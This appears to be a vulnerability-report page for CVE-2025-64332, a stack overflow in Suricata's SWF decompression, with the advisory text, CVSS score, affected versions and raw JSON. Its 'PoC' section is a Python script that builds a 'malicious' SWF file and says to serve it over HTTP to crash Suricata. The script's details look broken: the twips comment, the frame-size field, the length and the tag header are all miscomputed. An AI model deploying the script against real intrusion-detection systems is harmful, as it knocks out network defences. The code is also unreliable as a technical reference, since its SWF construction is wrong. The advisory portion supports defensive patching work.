Security Vulnerability Report
中文
CVE-2025-64332 CVSS 7.5 HIGH

CVE-2025-64332

Published: 2025-11-26 23:15:48
Last Modified: 2025-12-05 13:54:45

Description

Suricata is a network IDS, IPS and NSM engine developed by the OISF (Open Information Security Foundation) and the Suricata community. Prior to versions 7.0.13 and 8.0.2, a stack overflow that causes Suricata to crash can occur if SWF decompression is enabled. This issue has been patched in versions 7.0.13 and 8.0.2. A workaround for this issue involves disabling SWF decompression (swf-decompression in suricata.yaml), it is disabled by default; set decompress-depth to lower than half your stack size if swf-decompression must be enabled.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:oisf:suricata:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:oisf:suricata:*:*:*:*:*:*:*:* - VULNERABLE
Suricata < 7.0.13
Suricata < 8.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-64332 PoC - Suricata SWF Decompression Stack Overflow # Generate malicious SWF file to trigger stack overflow in SWF decompression import struct import os def create_malicious_swf(): """ Generate a malicious SWF file that can trigger stack overflow when decompressed by vulnerable Suricata versions. """ # SWF Header (minimum valid SWF) signature = b'CWS' # Compressed SWF version = 9 file_length = 0xFFFF # Large file length # Frame size (100x100) frame_size = struct.pack('<H', 0x5000) # 50 twips = 50/20 = 2.5 pixels # Frame rate and count frame_rate = struct.pack('<H', 0x001E) # 30 fps frame_count = struct.pack('<H', 1) # Build compressed data with excessive decompression depth # This triggers stack overflow in vulnerable versions malicious_data = b'\x00' * 0x10000 # Large block of data # Construct SWF body body = frame_size + frame_rate + frame_count body += b'\x43' # DoAction tag body += struct.pack('<I', len(malicious_data) + 1)[:3] body += malicious_data # Compress the body (Zlib) import zlib compressed = zlib.compress(body, level=9) # Build complete SWF swf = signature + bytes([version]) swf += struct.pack('<I', len(compressed) + 4)[1:] # File length swf += compressed return swf def main(): print("[*] Generating PoC for CVE-2025-64332") print("[*] Target: Suricata < 7.0.13 or < 8.0.2") print("[*] Vulnerability: Stack overflow in SWF decompression") swf_data = create_malicious_swf() output_file = "cve-2025-64332-poc.swf" with open(output_file, 'wb') as f: f.write(swf_data) print(f"[+] PoC SWF file generated: {output_file}") print(f"[+] File size: {len(swf_data)} bytes") print("[+] Usage: Serve this file via HTTP to trigger vulnerability") print("[+] Note: swf-decompression must be enabled in suricata.yaml") if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64332", "sourceIdentifier": "[email protected]", "published": "2025-11-26T23:15:48.430", "lastModified": "2025-12-05T13:54:44.877", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Suricata is a network IDS, IPS and NSM engine developed by the OISF (Open Information Security Foundation) and the Suricata community. Prior to versions 7.0.13 and 8.0.2, a stack overflow that causes Suricata to crash can occur if SWF decompression is enabled. This issue has been patched in versions 7.0.13 and 8.0.2. A workaround for this issue involves disabling SWF decompression (swf-decompression in suricata.yaml), it is disabled by default; set decompress-depth to lower than half your stack size if swf-decompression must be enabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oisf:suricata:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.0.13", "matchCriteriaId": "AA4D86E3-44A3-4B0B-9CF4-9FC88091D3C1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oisf:suricata:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.0.2", "matchCriteriaId": "C93A731C-19AD-4067-B28C-17164C2D981D"}]}]}], "references": [{"url": "https://github.com/OISF/suricata/commit/ad446c9006a77490af51c468aae0ce934f4d2117", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/OISF/suricata/security/advisories/GHSA-p32q-7wcp-gv92", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}